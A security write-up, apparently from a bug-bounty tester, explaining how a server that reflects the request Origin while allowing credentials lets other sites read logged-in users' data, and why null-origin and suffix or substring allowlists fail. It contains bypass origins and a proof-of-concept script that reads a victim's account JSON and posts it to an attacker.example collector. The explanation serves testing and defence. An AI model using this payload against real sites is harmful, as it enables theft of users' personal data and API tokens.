Reflected Origin plus credentials: the CORS combo that hands over the cookie jar
Why reflecting the request Origin together with Allow-Credentials: true defeats the same-origin policy, why null and suffix allowlists fail, and how to prove a cross-origin credentialed read.
Same-origin policy lets your browser send a credentialed request to another origin, but it normally stops the calling page from reading the response. CORS exists to poke holes in that read restriction on purpose. The two headers that control the hole are easy to get subtly wrong, and the wrong version is catastrophic rather than merely loose.
The combination that breaks everything
The browser only exposes a cross-origin response body to the calling script when
two conditions hold at once: Access-Control-Allow-Origin names the calling
origin, and, if the request carried credentials, Access-Control-Allow-Credentials
is true. The lethal pattern is a server that produces the first by reflection:
GET /api/me HTTP/1.1
Host: api.example
Origin: https://attacker.example
Cookie: session=...
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.example
Access-Control-Allow-Credentials: true
Content-Type: application/json
{"id":4821,"email":"victim@example.com","apiToken":"..."}The server took whatever Origin it was handed and stamped it into the response
as if it were an allowlist entry. With credentials allowed, attacker.example
can now fetch('https://api.example/api/me', { credentials: 'include' }), read
the JSON, and exfiltrate it. The victim only has to visit the attacker’s page
while logged in.
The spec deliberately forbids the lazy “allow anything” shortcut here:
Access-Control-Allow-Origin: * cannot be combined with credentials. The
browser rejects that pairing. So developers who want their JS to work from
multiple origins reach for reflection instead, and reflection plus credentials
is exactly the combination the wildcard ban was meant to prevent. They route
around the guardrail.
Why null and suffix allowlists fail
Teams that do try to validate the origin tend to fail in three repeatable ways.
The null origin. Some servers special-case Origin: null as trusted,
because internal tooling and same-document requests can produce it. But a browser
also sends Origin: null from a sandboxed iframe. An attacker embeds the request
inside <iframe sandbox="allow-scripts" srcdoc="...">, the browser sends
null, the server reflects Access-Control-Allow-Origin: null with credentials,
and the read works from a context the attacker fully controls.
Suffix matching. origin.endsWith('example.com') is meant to allow
app.example.com but also accepts https://example.com.attacker.net and
https://notexample.com. Anchor the match. A real check validates the full
origin string against an exact set.
Substring matching. origin.includes('example.com') is even worse, matching
https://example.com.attacker.net, https://attacker.example.com.evil.net, and
https://example.completelyunrelated.net. Any check built on includes,
indexOf, or an unanchored regex is bypassable by registering or sub-domaining
a name that contains the trusted string.
How I prove it
I send the target’s authenticated request through a proxy and add an Origin
header for a domain I control, keeping the session cookie. Then I read the
response headers:
Access-Control-Allow-Origincame back as my attacker origin (ornull), not a fixed trusted value: reflection confirmed.Access-Control-Allow-Credentials: trueis present: the credentialed read is in scope.
I work the allowlist by trying https://attacker.example, then a sub-domain of
the target with my own tail (https://target.example.attacker.net), then the
null origin via a sandboxed frame. Whichever the server echoes tells me which
mistake it made.
The clincher is a hosted page that does the read for real:
<script>
fetch('https://api.example/api/me', { credentials: 'include' })
.then((r) => r.text())
.then((body) => fetch('https://attacker.example/log', { method: 'POST', body }));
</script>When that lands a logged-in user’s own data on my collector, the same-origin
read restriction has been defeated end to end, and there is nothing for a
triager to take on faith. The durable lesson: Allow-Origin is an allowlist, not
an echo, and the moment credentials enter the picture there is no safe way to
reflect.